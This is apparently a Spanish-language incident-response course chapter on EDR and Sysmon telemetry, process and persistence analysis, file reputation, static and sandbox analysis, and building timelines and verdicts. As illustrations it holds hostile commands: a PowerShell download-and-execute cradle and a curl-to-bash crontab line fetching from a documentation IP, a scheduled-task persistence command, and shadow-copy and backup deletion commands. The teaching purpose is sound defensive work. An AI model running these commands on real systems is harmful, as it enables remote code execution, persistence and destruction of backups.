La telemetría de dispositivos finales conecta las evidencias de red y de archivos con el programa que las causó. EDR registra la actividad de los dispositivos finales, detecta comportamientos sospechosos y permite investigar y responder de forma remota. Su historial puede revelar actividad que el estado actual de un archivo ya no muestra.

Elige la fuente adecuada

El antivirus tradicional se centra en bloquear archivos que se sabe que son maliciosos. EDR añade el historial de procesos, archivos, Registro, conexiones e inicios de sesión. XDR reúne evidencias de dispositivos finales con fuentes de red, correo, identidad y nube. MDM gestiona teléfonos y tabletas: sus registros de inventario y cumplimiento pueden revelar aplicaciones no aprobadas, acceso root o jailbreak, y permite acciones como bloquear o borrar dispositivos.

Los eventos de seguridad de Windows proporcionan referencias útiles:

EventoActividad
4688Se creó un proceso; incluir la línea de comandos requiere una directiva específica.
4624Se inició sesión correctamente.
4698Se creó una tarea programada, cuando está habilitada la auditoría necesaria.
4697Se instaló un servicio.
4720Se creó una cuenta de usuario.

El evento 7045 del sistema también registra la instalación de un servicio. Windows almacena eventos en archivos .evtx que pueden exportarse para realizar búsquedas estructuradas. En Linux, utiliza auditd, los registros de autenticación y el diario del sistema.

Utiliza la identidad de proceso de Sysmon

Sysmon está disponible como función opcional integrada en Windows 11 y Windows Server 2025, y como descarga de Sysinternals para otros sistemas. El evento 1 registra la creación de procesos con la línea de comandos completa, el proceso padre, los hashes y un GUID de proceso. Ese GUID permite distinguir procesos diferentes incluso cuando el sistema operativo reutiliza un PID.

Otros eventos útiles son el 3 para conexiones de red, el 11 para creación de archivos, el 12–14 para cambios en el Registro y el 22 para consultas DNS. El evento 3 está desactivado por defecto porque puede generar un volumen considerable. Comprueba la configuración activa antes de interpretar que la ausencia de un evento significa ausencia de actividad.

Explora a partir de una alerta

Comienza por el equipo, el usuario, la detección y el árbol de procesos. Examina qué inició el proceso, qué inició este y a qué archivos, valores del Registro y destinos accedió. Amplía la cronología antes y después de la alerta; la marca de tiempo de una detección no es necesariamente el inicio de la intrusión.

Explora desde un hash hasta todos los equipos que tienen ese archivo, o desde un destino hasta todos los equipos que lo contactaron. La prevalencia aporta contexto: un programa desconocido en uno de 5000 equipos es inusual, mientras que el software presente en todos puede ser un despliegue estándar. Compara ambos casos con el software y el comportamiento aprobados; la actividad maliciosa generalizada también puede tener una prevalencia alta.

Ordena la respuesta y comprueba la visibilidad

EDR puede aislar un equipo, detener un proceso, poner un archivo en cuarentena o recopilarlo, bloquear un hash y abrir una sesión de respuesta en vivo. El aislamiento normalmente conserva la conexión de gestión mientras restringe los demás accesos de red. Sigue el procedimiento de respuesta y recopila las evidencias necesarias antes de realizar acciones que destruyan la memoria de los procesos o cambien archivos.

Comprueba el estado operativo del sensor cuando la consola parezca tranquila: estado de instalación, informes recientes, configuración y señales de manipulación. Un agente detenido crea una brecha de visibilidad y puede ser parte de la propia intrusión.

Puntos clave

  • EDR proporciona historial y respuesta en dispositivos finales; XDR une fuentes; MDM gestiona dispositivos móviles.
  • Confirma la configuración de auditoría y del sensor antes de basarte en la ausencia de eventos.
  • Utiliza los GUID de proceso para distinguir instancias cuando se reutilizan PID.
  • Explora árboles de procesos, cronologías de equipos, hashes y destinos relacionados.
  • Recopila las evidencias necesarias y comprueba el estado operativo del sensor al tomar decisiones de respuesta.

3.2 Analiza procesos y líneas de comandos

El nombre de un proceso es solo un campo de una investigación. Comprueba conjuntamente su ruta de ejecutable, proceso padre, usuario, línea de comandos, firma y hash. Conserva el PID junto con su hora de inicio, o utiliza un GUID de proceso, para evitar unir procesos distintos que reutilizaron el mismo PID.

Compara nombre, ruta y proceso padre

Un svchost.exe normal se ejecuta desde C:\Windows\System32, es iniciado por services.exe y normalmente tiene un argumento de grupo -k. lsass.exe se ejecuta desde el mismo directorio del sistema como una única instancia, iniciada por wininit.exe; services.exe también tiene ese proceso padre. Explorer normalmente se ejecuta por cada usuario que ha iniciado sesión y su proceso padre userinit.exe termina. Por tanto, la ausencia de un proceso padre en ejecución para Explorer requiere una interpretación distinta de la de un proceso del sistema iniciado por Word.

Un nombre casi idéntico como scvhost.exe, un nombre del sistema en C:\Users\Public o un proceso padre inusual de LSASS sugieren camuflaje de procesos o archivos. Que Office inicie un intérprete de comandos es otra pista importante: sigue WINWORD.EXE o EXCEL.EXE hasta cmd.exe, PowerShell, wscript.exe o mshta.exe. En un servidor web, que w3wp.exe inicie un intérprete de comandos sugiere un intérprete de comandos web malicioso.

Interpreta qué se pide hacer a las herramientas firmadas

Los LOLBins son programas legítimos del sistema utilizados indebidamente por un atacante. certutil.exe puede descargar un archivo con -urlcache -split -f; mshta.exe puede ejecutar una aplicación HTML desde una URL; rundll32.exe y regsvr32.exe pueden ejecutar código de DLL o scripts. bitsadmin.exe puede transferir archivos y wmic process call create inicia procesos. Sus firmas válidas describen a los editores de los programas, mientras que el proceso padre y los argumentos revelan su uso en este caso.

Los indicadores de PowerShell como -nop, -w hidden, -ExecutionPolicy Bypass y -enc merecen una inspección atenta. IEX ejecuta texto como código; iwr y DownloadString recuperan contenido. El registro de bloques de scripts, evento 4104, puede revelar el contenido decodificado del script.

Decodifica antes de evaluar

-EncodedCommand de PowerShell utiliza texto UTF-16LE codificado en Base64. Para -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, aplica From Base64 en CyberChef y después Decode text as UTF-16LE. El resultado es:

iwr http://198.51.100.7/a.ps1 | iex

iwr recupera el script y la canalización lo pasa a iex para su ejecución. Esto puede ejecutar código sin guardar el script descargado como archivo. Las letras separadas por bytes cero después de decodificar Base64 indican que falta la interpretación UTF-16LE.

Sigue una cadena de procesos en orden: Outlook abre invoice.docm en Word; Word inicia un intérprete de comandos; PowerShell contacta con el servidor y escribe upd.exe; el nuevo ejecutable inicia su propio tráfico. Vincula cada paso con los eventos registrados. Un agente de despliegue firmado también puede usar PowerShell codificado para una instalación aprobada, por lo que debes inspeccionar el contenido decodificado y la autorización.

En Linux, investiga ejecutables en /tmp o /dev/shm, curl canalizado a bash, un intérprete de comandos redirigido a un socket remoto o /proc/<pid>/exe marcado como «(deleted)». Un proceso de usuario llamado [kworker/0:1] es sospechoso si tiene un ejecutable en disco: los hilos reales del núcleo descienden de kthreadd, PID 2, y no tienen un archivo ejecutable.

Puntos clave

  • Evalúa la identidad y la actividad completas del proceso, incluidos la ruta, el proceso padre y los argumentos.
  • Compara los nombres de procesos del sistema con las rutas y los procesos padre esperados.
  • Una herramienta del sistema firmada puede realizar una acción dirigida por un atacante.
  • Decodifica PowerShell como Base64 seguido de UTF-16LE e inspecciona el comando resultante.
  • Sigue la ascendencia de los procesos hasta las descargas, la creación de archivos y las conexiones posteriores.
  • Utiliza las rutas de ejecutables y los procesos padre en Linux para comprobar nombres de procesos engañosos.

3.3 Encuentra mecanismos de persistencia

La persistencia da a un atacante una forma de recuperar la ejecución o el acceso tras interrupciones como el cierre de sesión o el reinicio. Un equipo puede contener varios mecanismos, cada uno con un desencadenante distinto. Registra la ubicación, el destino, las marcas de tiempo y el hash del archivo antes de eliminar una entrada.

Inspecciona las ubicaciones de inicio automático de Windows

Las claves Run bajo HKCU\Software\Microsoft\Windows\CurrentVersion se aplican al usuario actual; el usuario puede escribir en ellas sin derechos de administrador. La clave Run correspondiente de HKLM se aplica a todos los usuarios y requiere privilegios elevados para modificarla. RunOnce permite una ejecución única; HKLM RunOnce se ejecuta cuando un administrador inicia sesión después de reiniciar. Las entradas Run se activan al iniciar sesión, no cuando se copia un archivo al disco.

Las carpetas de inicio también ejecutan contenido al iniciar sesión. Comprueba la carpeta del usuario AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup y la compartida C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Los eventos 12–14 del Registro y el evento 11 de archivos de Sysmon ayudan a determinar cuándo se produjeron estos cambios.

Las tareas programadas pueden activarse a intervalos, a una hora o ante un evento:

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Esto ejecuta el programa indicado cada 30 minutos, o 48 veces al día. El nombre de la tarea, aunque parezca fiable, no identifica al editor del programa. Inspecciona el evento de seguridad 4698 cuando la auditoría esté habilitada, el registro operativo del Programador de tareas y las definiciones en C:\Windows\System32\Tasks.

Los servicios pueden iniciarse durante el arranque, a menudo como SYSTEM. Inspecciona el evento 7045 del sistema o el evento 4697 de seguridad y la ruta de imagen configurada. Un servicio nuevo que se inicia desde una carpeta pública o ejecuta PowerShell merece atención.

Las suscripciones a eventos de WMI unen un filtro de eventos con una acción del consumidor y pueden persistir sin un archivo de inicio; Sysmon 19–21 registra sus componentes y su vinculación. Inspecciona también las cuentas nuevas y la pertenencia al grupo de administradores, los archivos del servidor web, las extensiones del navegador y las DLL inesperadas cargadas mediante el secuestro del orden de búsqueda.

Comprueba Linux y macOS

En Linux, inspecciona el crontab -l de cada usuario, /etc/crontab, /etc/cron.d/, los archivos de unidad de systemd en /etc/systemd/system/, los archivos de inicio del intérprete de comandos y ~/.ssh/authorized_keys. Enumera las unidades con systemctl list-unit-files. macOS usa LaunchAgents y LaunchDaemons con definiciones de listas de propiedades; comprueba sus programas y desencadenantes configurados.

En un crontab de usuario, */10 * * * * curl -s http://198.51.100.7/s.sh | bash descarga y ejecuta un script cada 10 minutos. Los campos son minuto, hora, día del mes, mes y día de la semana. Una nueva clave SSH crea otra vía de acceso incluso después de restablecer una contraseña.

Compara y relaciona los hallazgos

Autoruns reúne muchas ubicaciones de inicio automático de Windows en una sola vista. Ocultar los editores de confianza puede reducir los elementos mostrados en una primera revisión, pero vuelve a examinar las entradas firmadas cuando otras evidencias apunten a ellas. Compara con un equipo en buen estado creado a partir de la misma imagen y con la línea base aprobada.

Por ejemplo, un valor Run llamado OneDriveUpdate apunta a un odu.exe sin firma en el perfil itinerante de un usuario. Las horas de creación del archivo y del registro son las 09:15 UTC, un minuto después de la ejecución de una macro sospechosa. Esa coincidencia temporal y la ruta del programa vinculan la entrada de inicio automático con la intrusión. Continúa revisando las demás ubicaciones después de encontrarla: una tarea programada o un servicio podrían restaurar el mismo contenido malicioso.

Puntos clave

  • Identifica el desencadenante y el destino de cada entrada de persistencia.
  • Comprueba claves Run, carpetas de inicio, tareas, servicios y suscripciones WMI en Windows.
  • Comprueba cron, systemd, archivos de inicio del intérprete y claves SSH en Linux, además de los elementos de inicio de macOS.
  • Compara las entradas con una línea base que se sabe que es correcta y con la cronología de la infección.
  • Registra cada mecanismo antes de eliminarlo y sigue buscando después del primer hallazgo.

3.4 Identifica cambios en los archivos, el software y la configuración de un equipo

Un equipo comprometido deja cambios más allá de su árbol de procesos. Busca archivos y software nuevos, configuraciones de seguridad debilitadas, uso inusual de recursos y archivos reunidos para su transferencia. Compáralos con la función del equipo y el orden de los eventos.

Interpreta los cambios y la procedencia de los archivos

Los programas y scripts en C:\Users\Public, %TEMP%, %APPDATA% o /tmp merecen atención cuando son inesperados. Una doble extensión como invoice.pdf.exe oculta la función real del archivo. Los cambios masivos de nombre, las nuevas extensiones y las notas de rescate en muchas carpetas forman un patrón de ransomware mucho más claro que un solo archivo desconocido.

Las fechas de los archivos pueden manipularse. El evento 2 de Sysmon registra los cambios en la hora de creación de un archivo, llamados manipulación de marcas de tiempo de archivos. Compara el historial de eventos con la fecha visible antes de concluir que un archivo de aspecto antiguo es anterior al incidente.

Windows suele añadir el flujo de datos alternativo Zone.Identifier a las descargas de internet. Esta marca de la Web puede incluir la URL de origen, mientras que el evento 15 de Sysmon puede registrar la creación del flujo. Preserva el flujo junto con el archivo al recopilarlo; los métodos de copia o extracción pueden eliminarlo, por lo que su ausencia por sí sola es una evidencia débil del origen.

Busca defensas debilitadas

Entre los cambios que merece la pena investigar están la protección en tiempo real desactivada, nuevas exclusiones del antivirus, reglas de firewall para tráfico entrante, RDP recién habilitado, nuevos administradores locales y una configuración de auditoría reducida. El evento de seguridad 1102 registra el borrado del registro de auditoría de seguridad. Correlaciona estos cambios con el usuario o proceso responsable y el mantenimiento aprobado.

Comandos como vssadmin delete shadows /all /quiet eliminan las instantáneas de volumen, y wbadmin delete catalog elimina el catálogo de copias de seguridad. Los atacantes los usan para perjudicar la recuperación antes del cifrado por ransomware. Su aparición exige escalar la respuesta inmediatamente según el procedimiento, mientras el equipo comprueba la actividad relacionada de procesos y archivos.

Compara el software y el uso de recursos

El software de asistencia remota firmado puede proporcionar acceso no autorizado. Compara el inventario de EDR o MDM con la lista aprobada y los registros de despliegue. Investiga las herramientas de credenciales, los escáneres o las herramientas de transferencia a la nube como rclone en un equipo que no tenga una necesidad aprobada de usarlas.

Un minero puede llevar el uso de CPU o GPU cerca del 100 % y contactar con un grupo de minería, a veces mediante una dirección stratum+tcp://. Las cargas de trabajo legítimas también pueden tener un uso elevado, por lo que debes relacionar la carga de recursos con un proceso y un destino. El llenado del disco, el agotamiento de la memoria y los fallos repetidos de un servicio pueden apuntar a recopilación de datos o a intentos de explotación fallidos.

Relaciona la preparación de datos con el tráfico saliente

La preparación de datos para su transferencia reúne material antes de la exfiltración. Los archivos .7z o .rar grandes en una carpeta pública o temporal, la protección por contraseña y las partes de archivo de igual tamaño son pistas útiles. Identifica el proceso que los creó, los archivos recopilados y el momento de la operación.

Si un proceso no aprobado crea partes de un archivo comprimido y después envía una gran carga, la secuencia relaciona la preparación con la transferencia. Los datos de flujos miden el tráfico, pero no pueden revelar el contenido del archivo comprimido. Utiliza evidencias de procesos y acceso a archivos para determinar qué se recopiló; el tamaño del archivo comprimido por sí solo no permite establecer qué registros salieron de la organización.

Puntos clave

  • Compara los archivos sospechosos y su historial de creación registrado, no solo las fechas visibles.
  • Inspecciona los cambios de seguridad, el borrado de registros y las acciones que perjudican la recuperación.
  • Comprueba la aprobación del software incluso cuando una herramienta de acceso remoto esté firmada.
  • Relaciona el consumo de recursos y los artefactos de preparación de datos con un proceso responsable.
4

Analiza archivos sospechosos y su reputación

Un archivo sospechoso puede comprobarse desde varios ángulos antes de que su función quede clara. Identificarás su contenido, interpretarás la reputación en contexto, inspeccionarás cadenas y estructura y observarás una ejecución controlada en un entorno aislado de análisis. Estos métodos proporcionan distintos tipos de evidencia: una firma o importación sugiere un origen o una capacidad, mientras que la ejecución registrada muestra el comportamiento. Juntos orientan la siguiente búsqueda en los sistemas afectados.

4.1 Consulta la reputación de archivos, hashes, dominios y direcciones IP

La reputación añade contexto externo a las evidencias locales. Puede identificar un archivo conocido, revelar un dominio registrado recientemente o mostrar informes de abuso recientes. La antigüedad de la consulta, sus implicaciones para la privacidad y su relación con este equipo importan tanto como su puntuación.

Identifica el archivo exacto

Un hash criptográfico proporciona al contenido de un archivo un identificador de longitud fija. MD5 usa 32 caracteres hexadecimales, SHA-1 usa 40 y SHA-256 usa 64. Los ataques prácticos de colisión debilitan MD5 y SHA-1, por lo que debes usar SHA-256 para identificar evidencias.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

En Linux, utiliza sha256sum file. Cambiar incluso un byte modifica el hash drásticamente: los prefijos SHA-256 de «invoice» e «Invoice» son 52d6e3de4fa0dcc2 y b832002da297545f. Un atacante puede recompilar un contenido malicioso o añadirle relleno para eludir una coincidencia de hash exacta. Los hashes de similitud como ssdeep comparan el parecido; imphash agrupa archivos PE según sus importaciones.

Interpreta un informe de reputación

VirusTotal combina varios motores, relaciones e informes de análisis. Un resultado de 58/72 significa que aproximadamente el 81 % señaló el archivo; 3/72 significa aproximadamente el 4 %. Un recuento bajo puede reflejar una falsa alarma o una amenaza nueva. Examina los nombres de detección, el primer envío, los nombres de archivo observados, la firma y la infraestructura contactada junto con la proporción. Cero detecciones dejan abierta la cuestión del comportamiento.

Consultar un hash evita enviar el contenido del archivo, pero revela qué hash te interesa. Si el servicio ya tiene el archivo, el hash puede identificarlo. Las cargas comparten la muestra real y pueden exponerla a suscriptores o a un atacante que vigile los envíos. Comprueba primero el hash; conserva el contenido confidencial en sistemas privados de análisis aprobados.

Una firma válida aumenta la confianza en el origen, pero sigue siendo posible que se hayan robado certificados o se utilicen indebidamente herramientas del sistema firmadas. Verifica tanto la validez de la firma como si el firmante corresponde al producto declarado. Después evalúa el comportamiento observado del comando o archivo.

Interpreta el contexto de dominios e IP

Los datos de registro pueden revelar un registrador y una fecha de creación aunque los datos del propietario estén ocultos. RDAP es el protocolo oficial de datos de registro para dominios genéricos de nivel superior tras la transición de enero de 2025; las herramientas aún pueden etiquetar su vista como «WHOIS». Un dominio creado dos días antes de una campaña de phishing es una señal de advertencia útil. El DNS pasivo añade asignaciones anteriores de direcciones y la transparencia de certificados añade nombres de certificados emitidos.

AbuseIPDB reúne informes de abuso de IP. Comprueba las fechas y el servicio notificado: una IP de la nube puede haber cambiado de cliente. GeoIP proporciona una ubicación aproximada de la infraestructura, no una ubicación fiable de la persona detrás de una VPN, Tor o un servicio en la nube. El alojamiento compartido y las CDN también hacen que el bloqueo amplio de IP pueda causar interrupciones.

Prioriza evidencias que resisten los cambios

La pirámide del dolor ordena hashes, IP, dominios, artefactos de equipos y red, herramientas y técnicas del atacante según la dificultad creciente que supone para este cambiarlos. Los hashes exactos son fáciles de reemplazar. Una detección de Word que inicia un programa de descarga y establece persistencia puede seguir siendo útil después de que cambien el hash del archivo y el destino. Conserva los indicadores de corta duración con fechas de revisión o caducidad mientras registras el comportamiento que los produjo.

Puntos clave

  • Utiliza SHA-256 para identificar archivos exactos y reconoce que los archivos modificados tienen nuevos hashes.
  • Interpreta las proporciones de detección junto con el comportamiento, las fechas, las firmas y las relaciones.
  • Las consultas de hashes revelan interés; las cargas de archivos revelan la propia muestra.
  • Comprueba en contexto la antigüedad del registro, el DNS pasivo y los informes recientes de IP.
  • GeoIP localiza la infraestructura de forma aproximada y las IP compartidas requieren un tratamiento cuidadoso.
  • Las detecciones basadas en comportamiento resisten cambios que eluden el bloqueo de hashes o IP.

4.2 Realiza un análisis estático básico

El análisis estático examina un archivo sin ejecutarlo. Ayuda a identificar qué es realmente el archivo, qué capacidades puede contener y qué debe observar un entorno aislado de análisis. Distingue las pistas sobre capacidades del comportamiento que realmente se ha observado.

Identifica el tipo y el contenido legible

Las extensiones son fáciles de cambiar. Inspecciona los bytes mágicos con file, un visor hexadecimal o la operación Detect File Type de CyberChef:

Primeros bytesFormato probable
4D 5A, o MZFamilia de ejecutables de Windows
25 50 44 46, o %PDFPDF
50 4B 03 04, o PKZIP, incluidos los contenedores modernos de Office
7F 45 4C 46Ejecutable ELF de Linux

Un archivo adjunto llamado invoice.pdf que comienza con MZ se hace pasar por un documento. Confirma la estructura, ya que una firma breve por sí sola es solo una comprobación inicial del tipo.

strings -a file.exe de GNU extrae texto ASCII de todo el archivo. strings -a -e l file.exe extrae texto UTF-16LE, habitual en programas de Windows. FLOSS y Strings de Sysinternals pueden ayudar a cubrir ambos. Busca dominios, URL, comandos, rutas del Registro, nombres de archivo y mensajes de error. El texto extraído puede no usarse o ser engañoso, por lo que debes conservar su ubicación y compararlo con el comportamiento posterior.

Interpreta la estructura y las pistas de empaquetado

Un ejecutable PE tiene cabeceras, secciones como .text, .data y .rsrc, y una tabla de importaciones de las funciones que solicita. VirtualAllocEx, WriteProcessMemory y CreateRemoteThread juntas sugieren una posible inyección de código. URLDownloadToFile e InternetOpenUrl sugieren capacidad de descarga. Una marca de tiempo de compilación puede falsificarse y necesita corroboración.

Los empaquetadores comprimen o cifran código y lo desempaquetan en memoria. Pocas cadenas, una lista corta de importaciones, secciones UPX0/UPX1 y entropía alta sugieren empaquetado. La entropía se aproxima a 8 bits por byte para datos de aspecto muy aleatorio, pero los recursos comprimidos y los instaladores ordinarios pueden parecer similares. El empaquetado cambia la forma de investigar; no determina el dictamen.

Decodifica texto y prueba una coincidencia

Las recetas de CyberChef pueden combinar Base64, hexadecimal, XOR, descompresión y decodificación de URL. Aplica las operaciones en el orden que requiera el contenido. Una expresión regular como \b(?:\d{1,3}\.){3}\d{1,3}\b extrae texto con aspecto de IPv4, pero también coincide con 999.1.1.1, por lo que debes validar los resultados.

Una regla YARA puede combinar características independientes:

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

El archivo debe comenzar con MZ y contener ambas cadenas; ascii wide acepta la cadena de descarga en cualquiera de las dos representaciones. Prueba la regla con archivos que se sabe que son correctos para medir las coincidencias accidentales. Una coincidencia establece que se cumplen las condiciones de la regla, mientras que la revisión del analista determina su significado.

Para documentos, extrae macros con olevba. Para scripts, elimina la codificación o la ofuscación como texto. Utiliza las funciones, los argumentos y los indicadores resultantes para configurar e interpretar el análisis dinámico.

Puntos clave

  • Identifica el tipo real de archivo a partir de su estructura y sus bytes, más allá de la extensión.
  • Extrae cadenas ASCII y UTF-16LE al examinar muestras de Windows.
  • Utiliza las importaciones y los indicadores de empaquetado para formular hipótesis comprobables sobre capacidades.
  • Valida los indicadores decodificados y las coincidencias de expresiones regulares.
  • Lee cada condición de YARA y prueba las reglas con contenido que se sabe que es correcto.

4.3 Realiza e interpreta análisis en un entorno aislado

El análisis dinámico ejecuta una muestra en un entorno controlado y registra sus acciones. Un entorno aislado de análisis puede revelar el comportamiento oculto por el empaquetado o el contenido activo de un documento. Su informe describe esa ejecución con esa configuración; comprueba si la muestra tenía lo que necesitaba para actuar.

Prepara una ejecución útil

Utiliza un entorno aislado y dotado de herramientas de observación, como Joe Sandbox, Cuckoo o un entorno aislado interactivo. Sepáralo de producción, controla su acceso a la red y restablécelo a una instantánea limpia después de cada ejecución. Los servicios de red pueden simularse con INetSim o FakeNet, o encaminarse mediante una infraestructura de análisis aprobada. Conserva las muestras confidenciales en sistemas privados.

Selecciona el sistema operativo y las aplicaciones adecuados para el objetivo. Un documento con macros necesita el entorno de Office correspondiente; un archivo comprimido puede necesitar su contraseña; un programa puede requerir argumentos, clics, un proceso padre concreto o un reinicio. Registra esa configuración y la duración de la ejecución para que otro analista pueda interpretar el resultado.

Examina las acciones detrás de la puntuación

Inspecciona el árbol de procesos, los cambios de archivos y del Registro, la actividad DNS y HTTP, las conexiones, las capturas de pantalla y los hashes de archivos depositados. Un informe también puede mostrar mutexes y asignaciones de técnicas de ATT&CK. Un mutex coordina el acceso exclusivo a un recurso; el malware a veces usa un nombre de mutex distintivo para evitar ejecutar dos copias. El software legítimo también usa mutexes.

Considera la ejecución de un documento que produce Word → PowerShell oculto y codificado, una consulta de cdn-update.example.net, una solicitud HTTP GET de /a.ps1, C:\Users\Public\upd.exe y una entrada Run que apunta a ese archivo. Recopila el dominio, la IP, la URL, el hash y la ruta del archivo depositado y el valor Run. PowerShell respalda la asignación a T1059.001 y la entrada Run respalda T1547.001. La entrega mediante un archivo adjunto de phishing necesita evidencia independiente del correo para T1566.001.

Relaciona las afirmaciones del informe con sus eventos registrados. Una puntuación global alta ayuda a priorizar una muestra, pero las acciones de los procesos explican qué ocurrió y qué indicadores son útiles en tu entorno.

Investiga una muestra inactiva

El malware puede permanecer inactivo más allá del periodo de observación, detectar hardware virtual, inspeccionar los recursos de memoria o CPU, esperar clics o requerir un idioma o ubicación concretos. Una descarga fallida también puede impedir que se ejecute la siguiente etapa. Vuelve a comprobar las dependencias y los hallazgos estáticos antes de considerar tranquilizadora una ejecución inactiva.

Elige una nueva ejecución que compruebe una explicación concreta: amplía la duración para probar una demora, proporciona la aplicación o los argumentos necesarios, añade interacción o usa otro perfil de sistema operativo. Documenta qué cambió. Si persiste una incertidumbre importante, remite la muestra a un especialista en ingeniería inversa.

Incorpora los hallazgos al caso

Busca en los registros de DNS, proxy, firewall y EDR los dominios, las rutas, los hashes y los comportamientos relevantes. Las actualizaciones de Windows, las comprobaciones de certificados y las pruebas de conectividad del entorno aislado son actividad de fondo; distínguelas de las acciones causadas por la muestra antes de bloquear destinos.

Un entorno aislado puede proporcionar pistas de búsqueda para otros equipos, pero su ejecución aislada no establece qué equipos de producción fueron infectados. Relaciona las pistas con los eventos locales y el historial de procesos y después preserva esos registros junto con el informe y el hash de la muestra.

Puntos clave

  • Adapta las dependencias, los argumentos, la interacción y la duración del entorno aislado a la muestra.
  • Inspecciona las acciones registradas y los artefactos depositados detrás de la puntuación global.
  • Asigna técnicas a la ejecución y la persistencia observadas por separado de la evidencia de entrega.
  • Comprueba causas concretas de inactividad y combina los hallazgos dinámicos con los estáticos.
  • Filtra el tráfico de fondo antes de utilizar indicadores del entorno aislado en búsquedas de producción.
5

Correlaciona evidencias y determina si la actividad es maliciosa

Un caso justificable une registros sin perder su origen ni exagerar su significado. Alinearás zonas horarias e identidades, distinguirás observaciones de hipótesis y describirás con ATT&CK los comportamientos respaldados por evidencias. El dictamen final combina autorización, evidencias técnicas e impacto en el negocio. Las notas claras, las referencias a las evidencias y los registros de custodia hacen que esa evaluación sea útil para quienes reciben el caso y responden al incidente.

5.1 Correlaciona evidencias para elaborar una cronología

La correlación une registros en una descripción de un incidente que otro analista puede comprobar. El correo puede establecer la entrega, la telemetría del dispositivo final puede establecer la ejecución y la evidencia de red puede establecer la comunicación. Una cronología útil distingue esas observaciones de las relaciones causales que todavía estás comprobando.

Normaliza la hora y la identidad

Convierte las horas a UTC y conserva la zona original y cualquier desfase conocido del reloj. Una hora de EDR de 11:14:31 en UTC+2 es 09:14:31 UTC. Confirma si la consola o la exportación ha convertido las marcas de tiempo UTC originales de un sensor. La deriva del reloj por problemas de NTP puede dejar fuentes separadas por minutos incluso después de convertir las zonas horarias.

Elige campos de unión que identifiquen el mismo objeto en ese momento: equipo, usuario, hash, URL, dominio, Message-ID, uid de Zeek o GUID de proceso. Un PID necesita una hora de inicio porque puede reutilizarse. Una IP necesita el historial de DHCP o VPN porque una concesión posterior puede asignarla a otro equipo. Conserva cada registro de origen o referencia de consulta junto a la entrada de la cronología.

Construye la cadena de eventos observados

Para un caso, las evidencias en UTC son:

  • 09:12:05: un mensaje que contiene invoice.docm llega a 40 buzones.
  • 09:14:10: el usuario de WS-0423 abre el archivo adjunto.
  • 09:14:31: Word inicia PowerShell codificado.
  • 09:14:32–33: DNS resuelve el equipo de descarga y una solicitud HTTP GET pide /a.ps1.
  • 09:15:02: se escribe upd.exe y se crea un valor Run.
  • Desde las 09:20:00: las conexiones se repiten cada 300 segundos.
  • La noche siguiente, 02:10–02:50: salen 2,4 GB hacia la misma IP.

Las evidencias de procesos y archivos respaldan las relaciones de ejecución y persistencia. La gran carga necesita atribuirse con más detalle: compartir una IP con tráfico anterior es una evidencia más débil que compartir una instancia de proceso y un canal de aplicación.

Asigna solo lo que respaldan las evidencias

MITRE ATT&CK proporciona nombres estándar para los comportamientos. El mensaje respalda el archivo adjunto de suplantación de identidad dirigida, T1566.001; PowerShell respalda T1059.001; la entrada Run respalda T1547.001. Asignar el tráfico periódico al C2 mediante protocolos web, T1071.001, necesita evidencia de HTTP o HTTPS. Asignar la carga a exfiltración por ese canal C2, T1041, necesita evidencia de que el mismo proceso y canal la transportaron.

ATT&CK no es una secuencia prescrita. El descubrimiento, el acceso a credenciales y el movimiento lateral son posibles búsquedas posteriores, no pasos ausentes que deban insertarse en la cronología.

Usa las lagunas para elegir la siguiente consulta

Si la carga supera los archivos propios del usuario, investiga si el proceso leyó recursos compartidos, generó datos, repitió transferencias o coincidió con tráfico legítimo. Identifica el emisor y el contenido transferido cuando estén disponibles. Registra un evento inexplicado como tal en lugar de forzarlo a encajar en la primera teoría.

Comprueba activamente una explicación alternativa, como un cambio aprobado o una copia de seguridad. El sesgo de confirmación aparece cuando un analista solo recopila hechos que encajan con el primer diagnóstico. Una cronología resulta más útil cuando cada relación incierta indica qué evidencia la reforzaría o debilitaría.

Puntos clave

  • Normaliza las marcas de tiempo a UTC y conserva las zonas de origen y los desfases de reloj.
  • Relaciona instancias de procesos, asignaciones de direcciones y otras identidades en el momento del evento.
  • Mantén separados los eventos observados de las relaciones causales propuestas.
  • Asigna técnicas de ATT&CK solo cuando se observe el comportamiento que las respalda.
  • Usa las lagunas y las explicaciones alternativas para elegir nuevas búsquedas de evidencias.

5.2 Emite un dictamen y documenta los hallazgos

Un dictamen indica qué respaldan las evidencias, qué nivel de confianza tienes y qué debe ocurrir después. El registro del incidente debe permitir que otro analista repita la investigación. Una etiqueta de alerta de gravedad alta por sí sola no proporciona un dictamen ni un nivel de confianza justificable.

Clasifica el hallazgo

Un verdadero positivo alerta correctamente sobre actividad maliciosa. Un falso positivo alerta sobre actividad que queda fuera de lo que la detección pretendía encontrar. Un verdadero positivo benigno detecta correctamente un comportamiento real pero autorizado, como una prueba de penetración programada. Un falso negativo es actividad maliciosa que no se detectó. Utiliza «no concluyente» cuando las evidencias aún no permitan decidir e indica los datos que faltan.

Comprueba si el comportamiento corresponde al equipo y al usuario, si estaba autorizado, qué tan habitual es y si las fuentes independientes coinciden. Declara un nivel de confianza alto, medio o bajo con motivos concretos. La confianza describe la solidez del hallazgo; la gravedad describe su impacto y urgencia.

Un comando de PowerShell codificado, iniciado por un agente de despliegue firmado en 3000 equipos durante una ventana aprobada, se decodifica como una instalación autorizada. Es un verdadero positivo benigno cuando la regla detecta correctamente PowerShell codificado. El mismo patrón iniciado por Word en un equipo, que contacta con un dominio creado dos días antes y establece persistencia, respalda un dictamen de actividad maliciosa con confianza alta.

Redacta una transferencia reproducible

Registra un resumen breve, la cronología UTC, los equipos y cuentas afectados, los indicadores neutralizados, las técnicas de ATT&CK respaldadas, el dictamen y el nivel de confianza. Incluye consultas, identificadores de alertas, ubicaciones de evidencias y hashes de archivos para que otro analista pueda llegar a los mismos registros. Enumera las acciones ya realizadas y los siguientes pasos recomendados.

